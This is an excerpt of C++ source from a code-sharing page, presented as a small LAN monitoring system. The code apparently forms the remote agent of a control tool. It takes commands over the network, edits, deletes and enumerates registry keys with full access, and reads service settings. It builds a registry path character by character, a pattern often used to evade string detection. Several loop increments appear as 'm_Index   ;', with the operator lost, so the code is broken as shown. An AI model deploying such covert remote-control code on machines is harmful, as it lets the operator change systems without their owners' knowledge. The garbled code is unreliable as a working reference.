	m_TempStr[17] = '0';
	m_TempStr[18] = '0';
	m_TempStr[19] = '1';
	m_TempStr[20] = '\\';
	m_TempStr[21] = 'S';
	m_TempStr[22] = 'e';
	m_TempStr[23] = 'r';
	m_TempStr[24] = 'v';
	m_TempStr[25] = 'i';
	m_TempStr[26] = 'c';
	m_TempStr[27] = 'e';
	m_TempStr[28] = 's';
	m_TempStr[29] = '\\';
	m_TempStr[30] = '%';
	m_TempStr[31] = 's';
	m_TempStr[32] = 0x00;


	DWORD m_NeedLen = 0;
	BYTE *pData = new BYTE[8192];
	ZeroMemory(pData,8192);
	LPQUERY_SERVICE_CONFIG pConFig = (LPQUERY_SERVICE_CONFIG) pData;
	if(QueryServiceConfig(hServices, pConFig, 8192, &m_NeedLen))
	{
		pServices->dwErrorControl = pConFig->dwErrorControl;
		pServices->dwServiceType = pConFig->dwServiceType;
		pServices->dwStartType = pConFig->dwStartType;
		pServices->dwTagId = pConFig->dwTagId;
		lstrcpy(pServices->lpBinaryPathName,pConFig->lpBinaryPathName);
		lstrcpy(pServices->lpDependencies,pConFig->lpDependencies);
		lstrcpy(pServices->lpLoadOrderGroup,pConFig->lpLoadOrderGroup);
		lstrcpy(pServices->lpServiceStartName,pConFig->lpServiceStartName);
		wsprintf((TCHAR*)pData, m_TempStr, pServices->m_Name);
		MyMainFunc::MyGetKeyStr(HKEY_LOCAL_MACHINE, (TCHAR*) pData, "Description", (BYTE*) pServices->lpDescribe);
	}
	delete [] pData;
	CloseServiceHandle(hServices);
}

void CMyMainTrans::SaveDataToTmpFile()
{
	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}

	DWORD nWriteLen = 0;
	if(!WriteFile(hFile, m_TransData, m_dTransLen, &nWriteLen, NULL))
	{
		CloseHandle(hFile);
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}
	CloseHandle(hFile);
}

void CMyMainTrans::MyRegEditValue()
{
	LPPSREGINFO pItem = (LPPSREGINFO) m_TransData;
	HKEY m_key = NULL;
	long ret = RegOpenKeyEx (pItem->m_RootKey, pItem->m_Key, 0, KEY_ALL_ACCESS, &m_key);
	if(ret != ERROR_SUCCESS)
	{
		m_Command = OPEN_REG_KEY_ERR;
		return ;
	}

	//设置新数据
	ret = RegSetValueEx(	m_key,
							pItem->m_ItemName,
							0,
							pItem->m_ItemType,
							(CONST BYTE *) pItem->m_ItemValue,
							pItem->m_ValueLen
						);
	if(ret != ERROR_SUCCESS)
	{
		RegCloseKey(m_key);
		m_Command = REG_EDIT_VALUE_ERR;
		return;
	}
	RegCloseKey(m_key);
}

void CMyMainTrans::MyRegDeleteValue()
{
	LPPSREGINFO pItem = (LPPSREGINFO) m_TransData;
	HKEY m_key = NULL;
	long ret = RegOpenKeyEx (pItem->m_RootKey, pItem->m_Key, 0, KEY_ALL_ACCESS, &m_key);
	if(ret != ERROR_SUCCESS)
	{
		m_Command = OPEN_REG_KEY_ERR;
		return ;
	}

	ret = RegDeleteValue(m_key, pItem->m_ItemName);
	if(ret != ERROR_SUCCESS)
	{
		RegCloseKey(m_key);
		m_Command = REG_DELETE_KEY_ERR;
		return ;
	}
	RegCloseKey(m_key);
}

void CMyMainTrans::MyRegDeleteKey()
{
	LPPSREGINFO pItem = (LPPSREGINFO) m_TransData;
	HKEY m_key = NULL;
	long ret = RegOpenKeyEx(pItem->m_RootKey, pItem->m_Key, 0, KEY_ALL_ACCESS, &m_key);
	if(ret != ERROR_SUCCESS)
	{
		m_Command = OPEN_REG_KEY_ERR;
		return ;
	}
	ret = SHDeleteKey(m_key, "");
	if(ret != ERROR_SUCCESS)
	{
		RegCloseKey(m_key);
		m_Command = REG_DELETE_KEY_ERR;
		return ;
	}
	RegCloseKey(m_key);
}

void CMyMainTrans::MyRegEnumKey()
{
	LPPSREGINFO pItem = (LPPSREGINFO) m_TransData;
	HKEY m_key = NULL;
	long ret = RegOpenKeyEx (pItem->m_RootKey, pItem->m_Key, 0, KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, &m_key);
	if(ret == 5 || ret != ERROR_SUCCESS)
	{
		m_Command = NOT_FIND_ANY_FILE;
		return;
	}

	DWORD		m_Index = 0;
	FILETIME	m_Time;
	HANDLE hFile = OpenMyTmpFile();
	if(hFile == NULL)
	{
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		RegCloseKey(m_key);
		return;
	}
	
	DWORD nWriteLen = 0;
	REGINFO m_RegInfo = {0};
	REGINFO m_BakRegInfo = {0};
	while(1)
	{
		ZeroMemory(&m_RegInfo, sizeof(REGINFO));
		m_BakRegInfo.m_IsKey = FALSE;
		m_RegInfo.m_Datalen = 510;
		m_RegInfo.m_NameLen = 510;

		ret = RegEnumValue(m_key, m_Index, m_RegInfo.m_Name, &m_RegInfo.m_NameLen,
			NULL, &m_RegInfo.m_DataType, m_RegInfo.m_Data, &m_RegInfo.m_Datalen);
		if(ret != ERROR_SUCCESS)
		{
			//无新的值
			if(m_Index == 0)
			{
				m_BakRegInfo.m_DataType = REG_SZ;
				m_BakRegInfo.m_NameLen = 0xffffffff;
				m_BakRegInfo.m_Datalen = 0xffffffff;
				WriteFile(hFile, &m_BakRegInfo, sizeof(REGINFO), &nWriteLen, NULL);
			}
			break;
		}
		
		if(m_Index == 0)
		{
			if(lstrlen(m_RegInfo.m_Name) == 0)
			{
				m_RegInfo.m_NameLen = 0xffffffff;
				WriteFile(hFile, &m_RegInfo, sizeof(REGINFO), &nWriteLen, NULL);
				m_Index   ;
				continue;
			}
			m_BakRegInfo.m_DataType = REG_SZ;
			m_BakRegInfo.m_NameLen = 0xffffffff;
			m_BakRegInfo.m_Datalen = 0xffffffff;
			WriteFile(hFile, &m_BakRegInfo, sizeof(REGINFO), &nWriteLen, NULL);
		}
		WriteFile(hFile, &m_RegInfo, sizeof(REGINFO), &nWriteLen, NULL);
		m_Index   ;
	}

	m_Index = 0;
	while(1)
	{
		ZeroMemory(&m_RegInfo, sizeof(REGINFO));
		m_RegInfo.m_Datalen = 510;
		m_RegInfo.m_NameLen = 510;

		ret = RegEnumKeyEx(m_key, m_Index, m_RegInfo.m_Name, &m_RegInfo.m_NameLen, NULL, NULL, NULL, &m_Time);
		if(ret != ERROR_SUCCESS)
		{
			//无新的值
			break;
		}
		m_RegInfo.m_IsKey = TRUE;
		WriteFile(hFile, &m_RegInfo, sizeof(REGINFO), &nWriteLen, NULL);
		m_Index   ;
	}
	CloseHandle(hFile);
}

BOOL CMyMainTrans::ReadBag()
{
	if(m_TransData != NULL)
	{
		delete [] m_TransData;
		m_TransData = NULL;
	}
	return RecvDataWithCmd(&m_TransData, &m_dTransLen, &m_Command);
}

HANDLE CMyMainTrans::OpenMyTmpFile()
{
	DeleteFile(m_TmpFilePath);
	HANDLE hFile = CreateFile(m_TmpFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	return hFile;
}

BOOL CMyMainTrans::SendBag()
{
	m_dTransLen = 0;
	BOOL bRet = TRUE;
	BYTE* pSrcData = NULL;
	HANDLE hFile = CreateFile(
				m_TmpFilePath,  
                GENERIC_READ,   
                FILE_SHARE_READ,
                NULL,           
                OPEN_EXISTING,      
                FILE_ATTRIBUTE_NORMAL, 
                NULL);
	if(hFile != INVALID_HANDLE_VALUE)
	{
		m_dTransLen = GetFileSize(hFile, NULL);
		if(m_dTransLen != 0)
		{
			pSrcData = new BYTE[m_dTransLen];
			DWORD nReadLen = 0;
			ReadFile(hFile, pSrcData, m_dTransLen, &nReadLen, NULL);
		}
		CloseHandle(hFile);
		DeleteFile(m_TmpFilePath);
	}
	bRet = SendDataWithCmd(pSrcData, m_dTransLen, m_Command);
	if(pSrcData != NULL)
	{
		delete [] pSrcData;
	}
	return bRet;
}

实例下载地址

C++小型的局域网监控系统

不能下载?内容有错? 点击这里报错 + 投诉 + 提问

好例子网口号:伸出你的我的手 — 分享

网友评论

发表评论

(您的评论需要经过审核才能显示)

查看所有0条评论>>

小贴士

感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。

  • 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
  • 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
  • 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
  • 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。

关于好例子网

本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明

;
报警